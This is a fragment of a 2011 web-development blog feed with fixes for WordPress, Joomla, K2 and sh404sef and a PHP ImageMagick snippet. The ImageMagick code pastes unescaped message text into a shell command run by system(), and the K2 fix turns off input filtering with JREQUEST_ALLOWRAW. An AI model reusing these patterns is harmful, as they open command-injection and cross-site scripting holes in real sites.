src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/07/debugging-titanium-xhr-requests-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0cNQnY5cCp7ImA9WhdTEEQ.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-4052342934432375454</id><published>2011-07-07T19:11:00.000-07:00</published><updated>2011-07-07T19:11:33.828-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-07T19:11:33.828-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wordpress" /><category scheme="http://www.blogger.com/atom/ns#" term="rockettheme" /><category scheme="http://www.blogger.com/atom/ns#" term="gantry" /><category scheme="http://www.blogger.com/atom/ns#" term="rokstories" /><title>Wordpress RocketTheme and RokStories issues</title><content type="html">Using RocketThemes for Joomla has been a great Joy. This week I tried one of the wordpress themes, boy what a journey. &lt;br /&gt;
&lt;br /&gt;
There seems to be some sort of caching issue and settings troubles. If you go to create your own preset, that is to say your own customized template use one of the pre-existing ones. I tried to create a separate preset and had NO-End of problems. The customized template preset would work fine and be cached for several hours then revert back to the last preset. Your best hope to get the template to work correctly is to completely over-write one of the presets. &lt;br /&gt;
&lt;br /&gt;
Anyway, enough about the dang template issues and on to the RokStories. &lt;br /&gt;
&lt;br /&gt;
In my customized template there was a "Showcase" for RokStories which by template defaults were loading 3 posts under category frontpage. The RokStories shows on every page by default. To make it show only on the homepage you need to 1st create a new override call it something useful. &lt;br /&gt;
&lt;br /&gt;
Now that you have an override you can go to the widgets admin and remove all of the widgets un-needed for the Default Gantry Settings. When happy switch to your custom override for the homepage. &lt;br /&gt;
&lt;br /&gt;
Now you would think with the override that the settings would just *work* for the homepage, BZZZZ WRONG. The settings still come from the default settings for RokStories. So to resolve my issue of RokStories for wordpress only showing 3 entries I had to manually edit the rokstories_artcount json variable in the wp_options db.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Also note that when manually editing this variable, YOU MAY not set it above 9, for some reason 2 digits break the site!&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;//to find the variable
SELECT *
FROM `wp_options`
WHERE option_value LIKE '%artcount%'

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-4052342934432375454?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/3ck_MvdAw2psO4K9YGURz2nZYsM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3ck_MvdAw2psO4K9YGURz2nZYsM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/3ck_MvdAw2psO4K9YGURz2nZYsM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3ck_MvdAw2psO4K9YGURz2nZYsM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/m8TuDuE4wRU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/4052342934432375454/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/07/wordpress-rockettheme-and-rokstories.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/4052342934432375454?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/4052342934432375454?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/m8TuDuE4wRU/wordpress-rockettheme-and-rokstories.html" title="Wordpress RocketTheme and RokStories issues" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/07/wordpress-rockettheme-and-rokstories.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0QNQn85eCp7ImA9WhZVGUQ.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-6533439769476610192</id><published>2011-06-02T00:23:00.000-07:00</published><updated>2011-06-02T00:23:13.120-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-02T00:23:13.120-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="image" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>php Image Magik - how to force Text Wap without cropping</title><content type="html">After several hours of trying to find the best way to add 2 sets of text to an image using ImageMagik without overlapping. The image is split into two natural text blocks. I felt it was easier to add the two sections of text to the one image instead of combining two images.  &lt;br /&gt;
&lt;br /&gt;
The simplest way I could find is to figure out the font point size and approximate the dimensions by the number of characters in your string. Then use the php &lt;a href="http://php.net/manual/en/function.wordwrap.php"&gt;wordwrap function&lt;/a&gt; to add newline characters every 35 characters. &lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Note: I only needed to force word wrapping on message one because it shows on the left side of the image. ImageMagik will automatically wrap the annotation if it runs into the right edge of the image. Well it appears that way and its working so far, but I may change it later just cause :)&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;//force text wrapping every 35 characters
$message = wordwrap($message, 35, &amp;quot;\n&amp;quot;, true);
$filepath = '/home/test.com/';
$newfile = $filepath.'uploads/files/'.$newfilename;
//image we want to write text on
$blankfile = $filepath.'images/blank_image.png';

$imageCMD = &amp;quot;convert  '$blankfile'    &amp;quot;.
                 &amp;quot; -fill '#000000' -pointsize 16   -annotate +40+80 '$message1'   &amp;quot;.  
                 &amp;quot; -fill '#000000' -pointsize 20   -annotate +340+150 '$message2' &amp;quot;.
                 &amp;quot; '$newfile'&amp;quot; ;
//calls the linux commandline to process the command    
$cr = system( $imageCMD  , $retval);


&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-6533439769476610192?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/eH_zXc3u0TKk3f7SK_PyR3hoOc4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eH_zXc3u0TKk3f7SK_PyR3hoOc4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/eH_zXc3u0TKk3f7SK_PyR3hoOc4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eH_zXc3u0TKk3f7SK_PyR3hoOc4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/DhZ-dp8H_i0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/6533439769476610192/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/06/php-image-magik-how-to-force-text-wap.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/6533439769476610192?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/6533439769476610192?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/DhZ-dp8H_i0/php-image-magik-how-to-force-text-wap.html" title="php Image Magik - how to force Text Wap without cropping" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/06/php-image-magik-how-to-force-text-wap.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0EHRXw-fSp7ImA9WhZWFkU.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-66373643941711787</id><published>2011-05-17T18:20:00.000-07:00</published><updated>2011-05-17T18:20:34.255-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-17T18:20:34.255-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="joomla" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>Customize the Joomla offline login redirect url</title><content type="html">First off to customize the offline login form for joomla change the "Site Offline" to yes in the Global Configuration-&gt; site tab.&lt;br /&gt;
&lt;br /&gt;
Once you make this change the website will require a login to view the site. To customize this page copy the offline.php file to templates/YOURTEMPLATE folder. Then feel free to add your graphics, tweak the css and heck even add some animation from jquery or perhaps a slideshow. &lt;br /&gt;
&lt;br /&gt;
For my project I needed to have a splash html page before the website login. This causes issues because the index.html page is loaded as the 'URL/' inestead of the index.php. Basically when someone logged in they would be redirected to the splash page. Well heck that ain't gonna work... &lt;br /&gt;
&lt;br /&gt;
So to resolve the issue you need to find the line in the offline.php file that has the base64_encode(JURI::base()). Replace the JURI::base() with the url you need to redirect to i.e. base64_encode('http://YOURDOMAIN.com/about')&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-66373643941711787?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/m_Hp9KCl9pb_CXoQUZZj6SWQxks/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/m_Hp9KCl9pb_CXoQUZZj6SWQxks/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/m_Hp9KCl9pb_CXoQUZZj6SWQxks/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/m_Hp9KCl9pb_CXoQUZZj6SWQxks/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/hhQ8vthCcPs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/66373643941711787/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/05/customize-joomla-offline-login-redirect.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/66373643941711787?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/66373643941711787?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/hhQ8vthCcPs/customize-joomla-offline-login-redirect.html" title="Customize the Joomla offline login redirect url" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/05/customize-joomla-offline-login-redirect.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcCRXY8eyp7ImA9WhZWEEo.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-2053893144722063831</id><published>2011-05-10T17:17:00.000-07:00</published><updated>2011-05-10T17:17:44.873-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-10T17:17:44.873-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="joomla" /><category scheme="http://www.blogger.com/atom/ns#" term="phpmyadmin" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="sh404sef" /><title>Joomla website offline login issue on IIS with sh404sef</title><content type="html">&lt;b&gt;QUICK how to fix sh404sef on IIS - just in case&lt;/b&gt;&lt;br /&gt;
1. open up webroot\components\com_sh404sef\shPageRewrite.php&lt;br /&gt;
2. Find and replace every instance of #__sh404SEF so it matches your db table. The default is lower case #__sh404sef. OMG WTF! it works on Linux and Apache, why not windows????&lt;br /&gt;
 &lt;br /&gt;
&lt;b&gt;Venting and Explanations&lt;/b&gt;&lt;br /&gt;
Horray! another 3 hours learning about sh404sef. This time a site needed to use the joomla website offline login form. This particular site is hosted on win IIS over at &lt;a href="http://www.outstandahosting.com"&gt;Outstanda hosting&lt;/a&gt;, they actually had really responsive tech support which was nice. &lt;br /&gt;
&lt;br /&gt;
Support was needed to figure out how to modify folder permissions in their control panel. For reference you have to change it in the FTP manager from the control panel. &lt;br /&gt;
&lt;br /&gt;
As soon as the website offline was enabled the website was throwing a "service temporarily unavailable" which is INCREDIBLY annoying to figure out, esp because this server would not output error messages. I manually stepped through the files tracing it to the shPageRewrite.php file to the first line for the db call.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-2053893144722063831?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/cA5itnRpyUJbfMZoQyBTlPeBwXg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cA5itnRpyUJbfMZoQyBTlPeBwXg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/cA5itnRpyUJbfMZoQyBTlPeBwXg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cA5itnRpyUJbfMZoQyBTlPeBwXg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/JMS8YudYQDY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/2053893144722063831/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/05/joomla-website-offline-login-issue-on.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/2053893144722063831?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/2053893144722063831?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/JMS8YudYQDY/joomla-website-offline-login-issue-on.html" title="Joomla website offline login issue on IIS with sh404sef" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>1</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/05/joomla-website-offline-login-issue-on.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMNQXkycSp7ImA9WhdTEEQ.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-6850007010145920517</id><published>2011-04-12T23:03:00.000-07:00</published><updated>2011-07-07T19:01:30.799-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-07-07T19:01:30.799-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="wordpress" /><category scheme="http://www.blogger.com/atom/ns#" term="plugin" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>Sidebar Generator plugin for Wordpress 3.1 issues resolved</title><content type="html">Hello all of you out there frustrated with the Zero response to the issues with the &lt;a href="http://wordpress.org/extend/plugins/sidebar-generator/"&gt;Sidebar Generator&lt;/a&gt;. I had a word press site that used this plugin and after upgrading it no longer worked or appeared to.&lt;br /&gt;
&lt;br /&gt;
After playing with the plugin and testing it after the 3.1 upgrade is related to the saving the post. It turns out that the database table wp_postmeta was getting populated with a JSON string of php output&lt;br /&gt;
&lt;pre&gt;SELECT * FROM `wp_postmeta` where meta_value like '%&amp;lt;?=$i?&amp;gt;%'
&lt;/pre&gt; &lt;br /&gt;
&lt;pre class="brush: plain"&gt;&amp;lt;select name=&amp;quot;sidebar_generator[&amp;lt;?=$i?&amp;gt;]&amp;quot;&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
Just replace the lines with this one&lt;br /&gt;
&lt;pre class="brush: plain"&gt;&amp;lt;select name=&amp;quot;sidebar_generator_replacement[&amp;lt;?php echo $i; ?&amp;gt;]&amp;quot;&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
Link to &lt;a href="http://labs.codepyro.com/wordpress/sidebar_generator.zip"&gt;updated plugin&lt;/a&gt; working on Wordpress 3.1.0&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-6850007010145920517?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/RqLPNWIxb6v_x86KXtcNXIGpPB4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/RqLPNWIxb6v_x86KXtcNXIGpPB4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/RqLPNWIxb6v_x86KXtcNXIGpPB4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/RqLPNWIxb6v_x86KXtcNXIGpPB4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/wop52iM_LkA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/6850007010145920517/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/04/sidebar-generator-plugin-for-wordpress.html#comment-form" title="12 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/6850007010145920517?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/6850007010145920517?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/wop52iM_LkA/sidebar-generator-plugin-for-wordpress.html" title="Sidebar Generator plugin for Wordpress 3.1 issues resolved" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>12</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/04/sidebar-generator-plugin-for-wordpress.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE8AR309eip7ImA9WhZREEs.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-978358307444163994</id><published>2011-04-05T21:07:00.000-07:00</published><updated>2011-04-05T21:07:26.362-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-04-05T21:07:26.362-07:00</app:edited><title>Speed up websites with the new Google Tool</title><content type="html">I love the new google Page Speed tool. It not only identifies ways to speed up a website but actually gives you useful suggestions.&lt;br /&gt;
&lt;br /&gt;
Things like Optimizing Images and Browser caching for example&lt;br /&gt;
&lt;i&gt;Losslessly compressing http://codepyro.com/assets/lay/footer.jpg could save 20.4KiB (33% reduction).&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Its nice that they actually include the % saved&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://pagespeed.googlelabs.com/#url=codepyro.com&amp;mobile=false&amp;rule=OptimizeImages"&gt;check it out&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-978358307444163994?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hIRMxzYTUe4sH3DhRM0wtj0ZbSc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hIRMxzYTUe4sH3DhRM0wtj0ZbSc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hIRMxzYTUe4sH3DhRM0wtj0ZbSc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hIRMxzYTUe4sH3DhRM0wtj0ZbSc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/8nE6hzOX3Rc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/978358307444163994/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/04/speed-up-websites-with-new-google-tool.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/978358307444163994?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/978358307444163994?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/8nE6hzOX3Rc/speed-up-websites-with-new-google-tool.html" title="Speed up websites with the new Google Tool" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/04/speed-up-websites-with-new-google-tool.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUcEQ3s5eCp7ImA9WhZSEkQ.&quot;"><id>tag:blogger.com,1999:blog-7766821073218640079.post-9061458643763029066</id><published>2011-03-28T00:23:00.000-07:00</published><updated>2011-03-28T00:23:22.520-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-28T00:23:22.520-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="joomla" /><category scheme="http://www.blogger.com/atom/ns#" term="k2" /><title>Enable HTML in joomla k2 extra fields</title><content type="html">K2 is a wonderful CCK and content replacement for the standard joomla content. In fact I am using it with k2mart to create some awesome shopping cart goodnes. Of course the shopping cart I am converting from is a Custom CMS/E-commerce system that has tons of custom html pieces in the product buy now pages. &lt;br /&gt;
&lt;br /&gt;
Specifically I needed the ability to choose several custom messages that have little html to open new windows, highlight messages etc.&lt;br /&gt;
 &lt;br /&gt;
There are community links for an older version of k2 &lt;a href="http://community.getk2.org/forum/topics/adding-html-code-into-extra"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
These don't work in the latest so here is an updated working html hax for K2 v2.4.1!&lt;br /&gt;
&lt;br /&gt;
Open up Administrator/components/com_k2/models/extrafield.php&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: plain"&gt;//line 32 
if (!$row-&amp;gt;bind(JRequest::get('post')))
 

//around line 53 look for 
$objects = array ();
$values = JRequest::getVar('option_value');
$names = JRequest::getVar('option_name');
&lt;/pre&gt;&lt;br /&gt;
Replace with the following (if you have questions &lt;a href="http://docs.joomla.org/Retrieving_data_from_GET_and_POST_requests"&gt;see documentation&lt;/a&gt;)&lt;br /&gt;
&lt;pre class="brush: plain"&gt; //line 32 - replaced
if (!$row-&gt;bind(JRequest::get('post',JREQUEST_ALLOWHTML)))


//around line 53 - replaced
$objects = array ();
$values = JRequest::getVar('option_value','','post','string',JREQUEST_ALLOWRAW);
$names = JRequest::getVar('option_name','','post','string',JREQUEST_ALLOWRAW);
 
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7766821073218640079-9061458643763029066?l=blog.codepyro.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/jBDSBWPbgJRr9MjSemqrb6Oth28/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jBDSBWPbgJRr9MjSemqrb6Oth28/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/jBDSBWPbgJRr9MjSemqrb6Oth28/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jBDSBWPbgJRr9MjSemqrb6Oth28/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Codepyro/~4/vAHZgTHoCo4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.codepyro.com/feeds/9061458643763029066/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.codepyro.com/2011/03/enable-html-in-joomla-k2-extra-fields.html#comment-form" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/9061458643763029066?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7766821073218640079/posts/default/9061458643763029066?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Codepyro/~3/vAHZgTHoCo4/enable-html-in-joomla-k2-extra-fields.html" title="Enable HTML in joomla k2 extra fields" /><author><name>Josh Tischer :: CodePyro</name><uri>http://www.blogger.com/profile/00151801163744004941</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/_kn9del4J-Kc/StlOrrOrdtI/AAAAAAAAC00/qRlFz_YCsig/S220/me+by+the+lake.JPG" /></author><thr:total>6</thr:total><feedburner:origLink>http://blog.codepyro.com/2011/03/enable-html-in-joomla-k2-extra-fields.html</feedburner:origLink></entry></feed>

